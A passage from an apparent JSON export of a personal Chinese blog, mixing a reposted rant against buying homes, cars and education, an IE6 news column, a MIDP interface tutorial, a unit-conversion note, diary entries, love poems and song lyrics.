猪圈旁边建房子，起个名堂叫经济适用房，给他们修个马车道让他们到那边买房住，地主说：他们钱不够怎么办？谋士说：从咱家的钱庄借前给他们，一年6分利， 咱这钱还能生钱崽，又没风险，地主又实行了，长工们拿到钱，地主的经济适用房到现在才建了一间，长工们只好排队等房子，直到现在，还等着呢…… 于是，长工们开始闹事了，地主有点慌，忙问谋士怎么办？谋士说：赶紧通知长工们，房子要跌价 了，别买了，租房住吧，正好把我们的猪圈租给他们，结果，这么多年后，长工们的钱全没了，还在租房住，直到永远！ 这个笑话虽然有点夸张，但实际上这何尝又不是事实呢？有人说既然如此？为什么中国人还要买 房？疯了一样的买？为什么？还不是愚民教育的结果，就好象60 年代，鼓吹人们必须购买三大件：手表、缝纫机、自行车才算是成功人士才可嫁人娶妻。70年代鼓吹人们必须购买新四大件：电视，冰箱，洗衣机，装电话才算是 出人头地才可娶妻生子一样，记得当年装电话可是要几千块钱一部啊（人均收入不到200的小城），而北京上海更有上万一部的时候，还得排队买号搭人情，和今 天的买房又何其相似？ 而今天所有的狗屁学者又开始了这一 套愚弄百姓的旧招：白领一族新标准，成功人士新选择X环X路小户型，X环X路商住型。收了你几十万后，还得每个月收你租金（新物业费），银行利息，以及各 种巧立名目的加息、政策等等等等。总之不怕你不被整死，就怕你死得不够惨！老百姓咋就怎么乐于上当，而且百上不厌呢？我真是气得浑身都湿了！ 第二大当：就业 当有人终于开始感叹：当年当知青的时候，当有人下岗之后感到没有生路，只能静坐抗议却无人理会，只能沦落街头还被人编首歌嘲笑着人生豪迈， 重头再来的时候。你可曾想过！他们也曾经和今天的白领一样风光！他们的收入和地位也曾经让周围的人艳羡不已？你可曾想过20年后的今天！你一样会和他们一 样沦落街头，众叛亲离？！ 有人说嘿！你不知道有失业保险，养 老保险，XX保险么？呵呵，我在北京漂泊N年，交了无数保险大概有好几万吧，但失业的时候跑断腿也没人给我啥保险，反而很多保险都被冻结了说我交得断断续 续的，我简直又气得……这还不算，你以为你到了60岁真的就可以拿到养老保险了吗？天上又不会掉钱！今天的老年人拿的退休金是我们在挣！而今天30-40 岁的人通常都有好几个兄弟姐妹！意思就是，今天的老年人能在 60岁拿到养老保险是因为有5个人供一个老人！而我们这一代老去之后则是一个人供我们两个老人！钱从哪里来？没得来！您要是能活到90岁估计能领到一些养 老保险，嘿保重吧您。然而即使是这样，家长们还是疯了一样的把孩子往各种企事业国有单位里送，我身边就经常有这样的例子。我老家一个远房亲戚，找关系拖朋 友，花了七万块钱通过公开招聘把儿子送进了交警队，干上合同制的police。一个月拿800块。结果第三年被竞争上岗给刷下来了。一家人哭哭啼啼，我说 刷了好，你上那班一辈子挣不回那七万，赶紧先洗洗睡，改明再凑点钱做小生意去吧！没准还能赚点。 当年我毕业的时候，我不文明用语也是领着我抱着钱，把我往XX部送。我一看负责招工那人那德行，就忍不住的恶心，再一看薪水，不文明用 语呀，我这不是白干10年不吃不喝才拿回成本。所以我私下威胁了那家伙一把，吓得那个大腹便便的X科长再也不敢招收我。我才得已：离家出走。 我就想不明白？中国人咋就这么傻？这么迷信国字呢？醒醒吧，思维正常一点行不？做事之前自己 算算合算不合算成不？ 还有那些年纪轻轻的小白领们，找工 作最好把薪水要高点，别要医疗保险和啥保险，然后自己把钱存起来最保险，将来用得着。 第三大当：教育 一张文凭值多少钱？一张文凭值多少钱？一张文凭值多少钱？印刷成本两块钱顶了天了。一个老师工资 多少？嘿，两个学生的学费足够一学期了！一个班的书本印刷多少钱？两个学生的足够了！一个班房租多少钱一学期？嘿嘿两个学生足够了。！嘿！中国教育你凭啥 收那么多钱！？ 嘿！百姓们！我们为啥要上当？因为 从小统治阶级就告诉我们考上秀才才光荣。哦对不起我说错了，是考上大学才光荣。但老百姓从来不去想一想为什么光荣？为什么光荣…… 大学秀才又怎样还不是废物！ 你知道你的孩子是什么人在教么？在 中国一般是无法适应社会的人才会沦为一个教师，举个例子。前段时间我因为一个项目的关系，找了几个大学的硕士生做程序。结果有几个人笨得很，完全不给你考 虑，非得你守着才干活，而且给个文件明显有一个错别字，也不给改，等你发现了还跟你较真，是这不是他的错，是你给的就是错的。一点责任感，一都不会考虑究 竟是为了做事而做事还是为了做好一件事而做事。我还是很心平气和的给他们讲道理：你们必须学会为别人思考，思考别人想要什么结果再去做事情。否则无法在社 会上生存。结果那几个说：我们才不要去社会上，我们考试成绩好得很，学校要我们留校做老师。再说了本来我们就没什么错，你怎么安排我们怎么做，你不安排我 们就不做。这是我们的尊严和原则。我说：如果你去守门，老板没安排你下班的时候锁好仓库你就不锁了吗？您心寒吗？以后您的孩子就是在这样的人的指导下学习 和成长。您放心么？ 难怪现在读大学的同居，逃课，打 架，自杀…… 但家长们还是愿意花钱把孩子送进学校去，而且是花一辈子的钱。 第四大当：买车 中国人疯了吗？买车？为什么要买车？？？当然您有了钱花不光了，您爱怎么买怎么买，买车买房，反 正油价怎么涨你也花不完钱，房子要拆迁你也不心疼。但是大多数老百姓呢？ 我以前有个同事住北二环，公司西直门那里。每天坐地铁上班最多半小时。可非得买一二手夏利，每天早上8点开始在路上堵着，然后一点一点 的挪到公司。嘿，一个月停车费都不少。可人家就觉得开了车自己身份高级一点。别说开个夏利，就是开个奥迪我也没见谁对谁三磕九拜。除了显得自己比别人傻一 点外完全没有别的作用。 还有一次，我遇见一个月收入才 4000的小姑娘，在计划贷款买车。于是我就问她：小姑娘，你又没做生意，自己按时上班，地铁又方便，买车干什么呢？想了半天，实在估计也想不出什么理由 来了就说：有时候去超市买东西吧，打车又觉得近了点不划算，走路又远了点。所以自己开车去了！听得我差点没恶心死。你开车去超市买个方便面不觉得恶心么？ 装备了大哥大去拣垃圾，也是拣垃圾的！别以为买了车能证明什么。 比如我现在自己做生意，很忙，一天大概要跑4-5个地方，见很多客户。但我就不买车，为什么？我打车随招即来，打完就走，不用担心停车 没地方，不用担心挂了碰了，不用担心被贼偷了绑了，无论挂风下雨都有司机。万一碰着个堵车还可以下车坐地铁。一年也就一万多块RMB！要买一车！一年停车 费都得一万多！这不是傻么？ 说别买车别买车，可就有无数的人疯 了一样的去贷款买？一定要嫌自己将来死得不够惨似的！买吧，买完了加息了不是？油价涨疯了不是？停车又贵了不是？后悔了不是？新车一上路就掉价了卖也卖不 掉了不是？？ 告诉你，油价还得涨。一定要涨到和 美圆一样的油价。嘿嘿！您拿老美1/10的收入，养和人家一个价的汽油。我看您还得瑟不。 最后说一句，每个人都不傻，都是从小被愚民教育给弄啥了。傻点不要紧，但性命悠关的事儿您还是紧着点，多盘算盘算经济利益之间的关系！ 别到头来，房产一跌，油价一涨，交了半辈子钱拿了毕业证还是啥啥不会干，交了几十年苛捐杂税还啥啥福利没有。您亏的可不仅仅是差价几十万。 有人还说什么？哎呀没办法，难道不住了，不买车啦，公车好挤呀。我说全是愚民教育出来的虚荣 心在做怪。您看看我，租一个房子住才一千多块一个月，也就相当于有些人的物业费。如果要结婚我还租得起3-4千的，家具装修一应具全。而且还哪方便我住哪 儿。不想搬就长期租。也和交物业费一个样。还白白省出还银行贷款、利息、首付一大堆。有事就打车，没事就地铁，一年一万顶天了，还省了车库费，停车费，罚 款等一堆，油价涨到10块也乐呵，也不耽误事。俺大学没念完就跑了，一边自学一边自己钻研市场出策划跑业务，不也同样可以进外资企业，上市企业做经理么？ 还省出好几万学费来。 当然有的人会说：你连 个房子都不买，指定结不了婚。我心想：我是没有，您以为您有啊？有人说租房子不划算，租完了还是别人的，嘿嘿，你以为买房子还了几十年贷款，还清了就是你 的了啊……\n","permalink":"https://hessian.cn/p/655.html","summary":"香港著名经济学家——郎咸平 中国99%的白领以及他们的家庭即将面临破产。而且是必然破产！无 路可逃！这件事可能是发生在未来2-10年。你可以尽量去怀疑这个数字。但它必然发生，绝非危言耸听。\u0026#8217; 就如我预言中国国营企业职工必然失业一样，在当时来说没人信。但确实会发生。因为在中国这样一个发展中国家，其必然以不断的以通货膨胀和改革手段来换取经 济的发展。而每一次改革所带来的阵痛都是由百姓来承担的。无论是上山下乡时迷茫的知青们还是改革开放带来的大量国企纷纷倒闭时大量下岗职工。如果他们能有 一定的前瞻性的话，那么我想他们也许会为自己留一点后路。但是由于过分相信文件以及过分相信生活不会突变，所以才导致了他们的人生悲剧。 ","title":"经典！买房和租房，郎咸平告诉你区别在那里，聪明人怎么选！(转)"},{"content":"src: http://www.donews.com/Content/201003/ce107084fcb3466ca88b6a2d1b7fc0c6.shtm\n观察家\n上周末，一群黑衣人聚集在美国丹佛市某会所内，举行了一场葬礼。葬礼现场烛光摇曳，鲜花环绕，悼词卡片放在逝者的棺材周 围。唯一古怪的是，棺材中的“逝者”没有头，它的头部被一张光盘封套取代———上面的遗容是IE6的徽标。这是一场为IE6浏览器举办的非官方葬礼——尽 管据说微软官方的IE6开发小组也送来了卡片，怀念“那段美好的时光”。\n近年来，IE6无论在安全方面，还是在支持互联网新标准方面， 都越来越老态龙钟。震惊世界的Google被黑客入侵事件，其来源就是IE6的一个漏洞；在上述IE6葬礼的官方网站上，也有哀悼者留言：“我不得不无数 次收拾我父亲的计算机，因为他用您观看网络色情内容……好好在地狱里燃烧自己吧，那是你该呆的地儿”。\n尽管如此，IE6短期内仍然不会 被淘汰。业内人戏称，能让IE6死的，只有微软自己；可是微软连续发出IE7、IE8两张王牌，IE6却仍岿然不动。要论置IE6于死地的决心，微软其实 不比Google小——它已经挡了接班人的路。\n这种尴尬境地，其实反映了微软自己在产业体系上的短板。整个微软-英特尔体系的起家契 机，是PC机体系架构的开放；当大量有生产能力的硬件厂家都能生产PC机时，必需的CPU芯片和操作系统便成为战略物资。但在互联网时代，微软已经不复 1980年时的轻松潇洒。现在要背负封闭体系负担的是它自己。一代一代的windows，为了保持与以前软件、设备的兼容，不得不容忍软件体积的空前膨 胀。到了WindowsXP的继任者Vista推出时，这个操作系统的代码量达到了5000万行，动用了9000名程序员。第一代的windows95只 有1500万行。微软自己拖死了自己，才导致Vista在开发三年之后，于2004年突然全部推翻重来。这个夭折，带来了XP的空前长寿，连带着使XP中 捆绑的IE6成为软件界的奇迹。\n中国又是另一种情况。尽管IE6随XP捆绑，但此后的IE7、IE8，和诸多第三方浏览器如 firefox、chrome、safari等，均开放了免费下载，安装也并不复杂，在使用体验上更是远远超过了IE6。因此，在计算机比较普及的欧美国 家，这些非IE浏览器的市场份额不断增加；在欧洲，firefox甚至在2009年还超越了IE6，成为市场份额第一的浏览器。\n但在中 国，即使号称拥有三亿网民，“互联网潜力最大”，在互联网的应用方面却仍然停留在极为原始的水准。IE6尽管无法完整地显示那些美轮美奂的效果、实现高效 的互动，但在偷菜、卖奴隶、逛网店方面已经绰绰有余了。firefox等优秀浏览器在欧洲大出风头的2009年，中国的IE6份额居然反弹到69%。落后 的浏览器背后，反映的是中国互联网低效、重复的应用开发水准。相应地，中国所有银行的网银，现在都只支持IE系浏览器，这成为世界金融界的奇观。\n阴差阳错的业界现实造就了IE6的长寿，而在微软宣布的正式寿命——2014年——之前，IE6的死亡，看来仍有漫漫长路要走。\n曹悦 平（北京媒体从业者）\n","permalink":"https://hessian.cn/p/421.html","summary":"src: http://www.donews.com/Content/201003/ce107084fcb3466ca88b6a2d1b7fc0c6.shtm\n观察家\n上周末，一群黑衣人聚集在美国丹佛市某会所内，举行了一场葬礼。葬礼现场烛光摇曳，鲜花环绕，悼词卡片放在逝者的棺材周 围。唯一古怪的是，棺材中的“逝者”没有头，它的头部被一张光盘封套取代———上面的遗容是IE6的徽标。这是一场为IE6浏览器举办的非官方葬礼——尽 管据说微软官方的IE6开发小组也送来了卡片，怀念“那段美好的时光”。\n","title":"[转]新京报观察：IE6必须死 却没人做得到"},{"content":"待续\n","permalink":"https://hessian.cn/p/454.html","summary":"待续\n","title":"甜"},{"content":"oye~~~\n今天去街上逛了一圈，大北京真是够冷清的。。。\n","permalink":"https://hessian.cn/p/462.html","summary":"oye~~~\n今天去街上逛了一圈，大北京真是够冷清的。。。\n","title":"泡面过新年"},{"content":"很深很深。。。\n","permalink":"https://hessian.cn/p/501.html","summary":"很深很深。。。\n","title":"真的中毒了。。"},{"content":"2009年10月30日\n第一次看见你便被你所吸引。第一次，我问了彭\u0026ldquo;那个人是谁？\u0026rdquo;，得知竟是新同事后，窃喜了好久。。\n给你装系统，我甚至比对我自己的电脑还要认真。。你坐在我身边，我居然有了少男羞涩的心情，我甚至都没看清楚你的脸。脑海里只有你那双好奇的大眼睛。\n2009年11月21日\n糗事\n2009年11月22日\n转折。。。居然被说有恋姐情节。。。不可饶恕。。。哼哼\n2009年11月23日\n摊牌。。。\n你胃病犯了。。心里揪着。。不想让自己去管你，被拒绝了。。表现得太过关心总是不好。。不想让你知道我对你多在意，不然岂不是更糗。。。很丢脸的，可是。。看着你那么痛苦，我却还要装作一副淡然的样子。。。很难啊。。最后还是忍不住，他送你下去之后还是给他打了个电话。。。还好得知是稍微恢复了。。否则我怕我会追你去。。。\n2009年11月27日\n你对我说\u0026ldquo;其实我的故事简单的很 告诉你可以 如果你觉得你想听\u0026rdquo;\n第一次，看到了你的世界。。。\n突然希望自己能守在你身边，在你孤独、无助的时候陪着你，照顾你。\n2009年11月28日\n有一个坏人跟我说 要安慰我。。。哈哈哈哈。。。\n2009年11月29日\n第一次。。。我抱了你。。。你没有拒绝。。。我当你是默许了。。\n吻你，却被拒绝了。。很失落，你急着赶回家，就像一个被欺负了的小姑娘要去找妈妈一样。\n我知道，一切只是我的幻觉而已。。。\n你并没有想过什么，只是我想的太多了。\n想放弃，却又不甘。。。\n哈哈，终于，你妥协了。。\n居然许下那种诺言。。。果然是只有你才做的出来的事呢。。\n\u0026ldquo;有付出有回报，很好，很公平。 得失是否成正比是取决于自己的\u0026rdquo;\n这是我说的，我一直记得，也许你给我的很少，但是我得到了很多。虽然，这还不够。。。\n人啊。。总是贪婪的。。\n2009年12月4日\n消灭距离的一战\n。。。。。\n","permalink":"https://hessian.cn/p/315.html","summary":"2009年10月30日\n第一次看见你便被你所吸引。第一次，我问了彭\u0026ldquo;那个人是谁？\u0026rdquo;，得知竟是新同事后，窃喜了好久。。\n给你装系统，我甚至比对我自己的电脑还要认真。。你坐在我身边，我居然有了少男羞涩的心情，我甚至都没看清楚你的脸。脑海里只有你那双好奇的大眼睛。\n","title":"日子"},{"content":"最近有人让我帮做个手机的程序。。。\nJavaME 开始看了看 cdc 规范和midp doc 觉得挺简单的。。。\n本来么 JavaMe = Java Micro Edition 应该是蛮简单的嘛。。。\n但关键就是太简单了。。。。\n很多数据结构都没有实现，UI功能也很弱，要做复杂点的界面居然还需要用底层操作去“画”。。。\n靠了。。\n","permalink":"https://hessian.cn/p/516.html","summary":"最近有人让我帮做个手机的程序。。。\nJavaME 开始看了看 cdc 规范和midp doc 觉得挺简单的。。。\n本来么 JavaMe = Java Micro Edition 应该是蛮简单的嘛。。。\n但关键就是太简单了。。。。\n很多数据结构都没有实现，UI功能也很弱，要做复杂点的界面居然还需要用底层操作去“画”。。。\n","title":"令人头疼的JavaME"},{"content":"努力，奋斗、\n","permalink":"https://hessian.cn/p/355.html","summary":"努力，奋斗、\n","title":"现在的我给不了你什么，我只有我的一双手。。"},{"content":"原来1亩=60平方丈=6000平方尺 1亩=666．6平方米。 在民间还有一个更实用的口决来计算： 平方米换为亩，计算口诀为“加半左移三” 1平方米＝0.0015亩 (如128平方米等于多少亩？计算方法是先用128加128的一半：128＋64＝192，再把小数点左移3位，即得出亩数为0.192) 亩换平方米计算口诀为“除以三加倍右移三” (如要计算24.6亩等于多少平方米，24.6÷3＝8.2，8.2加倍后为16.4，然后再将小数点右移3位，即得出平方米数为16400) 畮,六尺为步,百步为畮。秦田二百四十步为畮。畮或从十久。——《说文》\n","permalink":"https://hessian.cn/p/359.html","summary":"原来1亩=60平方丈=6000平方尺 1亩=666．6平方米。 在民间还有一个更实用的口决来计算： 平方米换为亩，计算口诀为“加半左移三” 1平方米＝0.0015亩 ","title":"[转]常识—却很多人不知道(1亩=多少平方米)"},{"content":"怎么我一跟谁好就开始有女人来找我了。。。\n我单身的时候都跑哪去了？\n","permalink":"https://hessian.cn/p/585.html","summary":"怎么我一跟谁好就开始有女人来找我了。。。\n我单身的时候都跑哪去了？\n","title":"奇了。。。"},{"content":"是的，什么也不能做\n什么也不能改变\n无力。。。\n","permalink":"https://hessian.cn/p/544.html","summary":"是的，什么也不能做\n什么也不能改变\n无力。。。\n","title":"是的"},{"content":"因为在MIDP手机编程中，没有控制台的概念，所以所有的MIDP手机软件都必须有自己的界面，下面就熟悉一下MIDP的界面类体系。\n首先说明的是，MIDP的标准界面类都位于javax.microedition.lcdui包中，使用时一定要记得引入。\n在界面体系中，所以可以直接显示的界面类都继承自同一个父类——Displayable。根据是否能直接操作屏幕，以及是否和屏幕尺寸相关，MIDP的界面类分为两大类：\n1、 高级用户界面——和屏幕大小无关，不能直接操作屏幕\n高级用户界面类可以不需要修改就可以在所有支持Java的手机上显示，不同的手机显示方式会有所不同，但功能均可以正常使用。特别适合做对于界面要求不高的手机应用软件。\n高级用户界面中的类又分为两个部分：\nl 容器类\n容器类是指直接或者是间接继承自Displayable，可以直接在屏幕上显示的类。这些类都有一个统一的父类——Screen类，其他的都是实现的容器类，包括以下几个：\nu Alert——提示框\nu Form——窗体\nu List——列表框\nu TextBox——文本盒，多行文本框\n以上这些类除了Screen类以外，都代表一类界面，在实际的开发过程中，即可以直接使用(只使用其对象)也可以使用继承。\nl 控件类\n控件类是指那些不能在屏幕上直接显示，必须添加到容器类(注：MIDP中的所有控件类均只能添加到Form中)才可以显示的类。这些类也有一个统一的父类Item类，其它的都是实现的控件类，包括以下几个：\nu ChoiceGroup——选择框，包括单选和多选\nu DateFiled——日期文本框\nu Gauge——进度条\nu ImageItem——图片项目\nu StringItem——可变字符串项目\nu TextFiled——单行文本框\n在MIDP2.0中，新增两个控件：\nu CustomItem——个性化项目，可以实现自己的控件\nu Spacer——空白\n在实际的使用中，根据界面的需要，选择合适的控件种类，然后添加到Form中进行显示。\n2、 低级用户界面——和屏幕大小相关，可以直接操作屏幕\n低 级用户界面可以让程序员直接操作界面，例如可以在屏幕上方便的绘制图片、文字以及基本的图形等，可以在手机中表现复杂的界面，所以很适合进行手机游戏以及 移动证券之类的软件开发。但是低级界面一般和屏幕大小关系比较密切，所以在不同的手机型号之间实现的时候，一般需要进行移植。\n低级用户界面主要包括两个类：\nl Canvas——手机画布\n该类代表手机屏幕，包含获得屏幕属性的一系列方法、事件处理的方法，以及最核心的paint绘制方法等。在MIDP2.0中该类有一个子类——GameCanvas。\nl Graphics——画笔\n系统所有的绘制动作都通过该类实现，包含一般的绘制方法、设置字体或颜色的方法以及一些技巧操作的方法等。\n低级用户界面可以理解为使用Graphics这样一个画笔类在Canvas上进行绘制。\n当然还有一个在高级用户界面和低级用户界面都可以使用的类——Command(软按钮类)，使用该类可以在界面中实现软按钮的功能。\n在整个界面体系中，除了以上最核心的类以外，还包含一些其他的辅助功能，主要分为如下几种：\n1、 高级用户事件处理体系\n因为高级用户界面的事件处理采用了监听器(Listener)模式，所以在API中只提供了几个接口：\nl CommandListener\n处理软按钮(Command)事件。\nl ItemStateListener\n处理控件(Item)状态改变事件。\nl ItemCommandListener——MIDP2.0新增\n处理和控件相关的软按钮事件。\n2、 低级用户界面辅助类\n在实际使用低级用户界面中，经常用到图片、字体等，这些也在界面体系中被实现成具体的类，分别是：\nl Font——字体类\nl Image——图片类\n由于J2ME对J2SE进行了大量的简化，所以颜色没有实现成具体的类，而只是支持RGB格式的表示而已。\n以上系统的介绍了MIDP的界面类体系，希望能使您对于界面类结构有更加深刻的认识。不足之处请积极指正！\n来源：http://bbs.csai.cn/dispbbs.asp?boardid=56\u0026amp;Id=100957\u0026amp;page=7\n","permalink":"https://hessian.cn/p/638.html","summary":"因为在MIDP手机编程中，没有控制台的概念，所以所有的MIDP手机软件都必须有自己的界面，下面就熟悉一下MIDP的界面类体系。\n首先说明的是，MIDP的标准界面类都位于javax.microedition.lcdui包中，使用时一定要记得引入。\n","title":"[转]深入理解MIDP的界面类体系"},{"content":"什么时候我会忍不下去？\n那一天你是否已经预见，亦或是从未考虑过？\n忍受，忍受他将你占有\n忍受，忍受那相思的苦\n忍受，忍受自己。。。\n我要在大庭广众之下拥抱你，亲吻你，宣告你是我的爱人！\n但是，这只是幻想罢了，现实的你我依然不得已面对必须面对的事情，做出所谓正确的行为。。。\n好想对你说，我爱你，我的爱人。\n可是。。。。\n","permalink":"https://hessian.cn/p/470.html","summary":"什么时候我会忍不下去？\n那一天你是否已经预见，亦或是从未考虑过？\n忍受，忍受他将你占有\n忍受，忍受那相思的苦\n忍受，忍受自己。。。\n我要在大庭广众之下拥抱你，亲吻你，宣告你是我的爱人！\n","title":"忍受"},{"content":"亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n","permalink":"https://hessian.cn/p/366.html","summary":"亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n亲爱的，你怎么不在我身边。。。\n","title":"亲爱的，你怎么不在我身边。。。"},{"content":" 心里满满的装着你\n最想看到的是你的脸\n最想抚摸的是你的手\n想紧紧的抱着你\n想和你在一起\n爱究竟是什么？。。。\n我不知道\n亲爱的，你也爱我吗？\n不需要答案，结果已经没有意义了。。。即便是，也没有结果。。。\n这样的你，会快乐吗？\n","permalink":"https://hessian.cn/p/348.html","summary":" 心里满满的装着你\n最想看到的是你的脸\n最想抚摸的是你的手\n想紧紧的抱着你\n想和你在一起\n爱究竟是什么？。。。\n我不知道\n亲爱的，你也爱我吗？\n不需要答案，结果已经没有意义了。。。即便是，也没有结果。。。\n","title":"无"},{"content":"心里满满的装着你 最想看到的是你的脸 最想温暖的是你的手 想紧紧的抱着你 想和你在一起 爱究竟是什么？\n。。。 我不知道 亲爱的，你也爱我吗？ 不需要答案，结果已经没有意义了。。。即便是，也没有结果。。。 这样的你，会快乐吗？\n","permalink":"https://hessian.cn/p/633.html","summary":"心里满满的装着你 最想看到的是你的脸 最想温暖的是你的手 想紧紧的抱着你 想和你在一起 爱究竟是什么？\n。。。 我不知道 亲爱的，你也爱我吗？ 不需要答案，结果已经没有意义了。。。即便是，也没有结果。。。 ","title":"无"},{"content":"ANNA inspi’NANA( BLACK STONES ) When I was darkness at that time 震えてる唇 部屋の片隅で I cry もがけばもがくほど 突き刺さるこの伤 破られた约束 hurt me Nobody can save me 神様ひとつだけ 止めて裂くような my love ※I need your love. I'm a broken rose. 舞散る悲しみ your song 居场所无い孤独な my life I need your love. I'm a broken rose. Oh baby. help me from frozen pain with your smile. your eyes, and sing me. just for me※ I wanna need your love... I'm a broken rose I wanna need your love... When you are with me at that time 贵方の影を追いかけて 裸足で駆け抜けて stop me 闭ざせば闭ざすほど もつれてくこの爱 缓やかにやさしく kiss me Nobody can save me 冻える蔷薇のように やさしく眠りたい my tears I need your love. I'm a broken rose. 枯れ堕ちる悲しみ my soul 崩れてく孤独な little girl I need your love. I'm a broken rose. Oh baby. help me from frozen pain with your smile. your eyes, and sing me. just for me I wanna need your love... I'm a broken rose I wanna need your love... (※くり返し) I wanna need your love... I'm a broken rose I wanna need your love...\n中文翻译： 当陷于阴暗的那时 颤抖的嘴唇 蜷在屋子一角，哭了起来 越是拼命挣扎，越是将伤口撕裂 那被打碎的约定，伤害了我 没人可以拯救我 神灵只有一位 能止住开裂的 是我的爱 我需要你的爱，我是一朵残破的玫瑰 凌乱舞步的悲伤，是你的歌 居无定所的孤独，是我的生活 我需要你的爱，我是一朵残破的玫瑰 亲爱的，请将我从这冻结的伤痛中拯救 用你的微笑，你的眼眸，你的歌，只为了我 我需要你的爱 我是朵残破的玫瑰 我需要你的爱 当你在身边的那时 追逐着你的影子 赤着脚狂奔 请停下我 越是闭上眼，越是被爱纠缠 轻缓温柔的，请亲吻我 没人可以拯救我 像封冻的玫瑰 想要温柔的睡去 留下眼泪 我需要你的爱，我是一朵残破的玫瑰 凋零坠落的悲伤，是我的灵魂 因离别而孤独的，小女孩 我需要你的爱，我是一朵残破的玫瑰 亲爱的，请将我从这冻结的伤痛中拯救 用你的微笑，你的眼眸，你的歌，只为了我 我需要你的爱 我是朵残破的玫瑰 我需要你的爱 我需要你的爱，我是一朵残破的玫瑰 凌乱舞步的悲伤，是你的歌 居无定所的孤独，是我的生活 我需要你的爱，我是一朵残破的玫瑰 亲爱的，请将我从这冻结的伤痛中拯救 用你的微笑，你的眼眸，你的歌，只为了我 我需要你的爱 我是朵残破的玫瑰 我需要你的爱 ","permalink":"https://hessian.cn/p/379.html","summary":"ANNA inspi’NANA( BLACK STONES ) When I was darkness at that time 震えてる唇 部屋の片隅で I cry もがけばもがくほど 突き刺さるこの伤 破られた约束 hurt me Nobody can save me 神様ひとつだけ 止めて裂くような my love ※I need your love. I'm a broken rose. 舞散る悲しみ your song 居场所无い孤独な my life I need your love. I'm a broken rose. Oh baby. help me from frozen pain with your smile. your eyes, and sing me. just for me※ I wanna need your love... I'm a broken rose I wanna need your love... When you are with me at that time 贵方の影を追いかけて 裸足で駆け抜けて stop me 闭ざせば闭ざすほど もつれてくこの爱 缓やかにやさしく kiss me Nobody can save me 冻える蔷薇のように やさしく眠りたい my tears I need your love. I'm a broken rose. 枯れ堕ちる悲しみ my soul 崩れてく孤独な little girl I need your love. I'm a broken rose. Oh baby. help me from frozen pain with your smile. your eyes, and sing me. just for me I wanna need your love... I'm a broken rose I wanna need your love... (※くり返し) I wanna need your love... I'm a broken rose I wanna need your love...\n中文翻译： 当陷于阴暗的那时 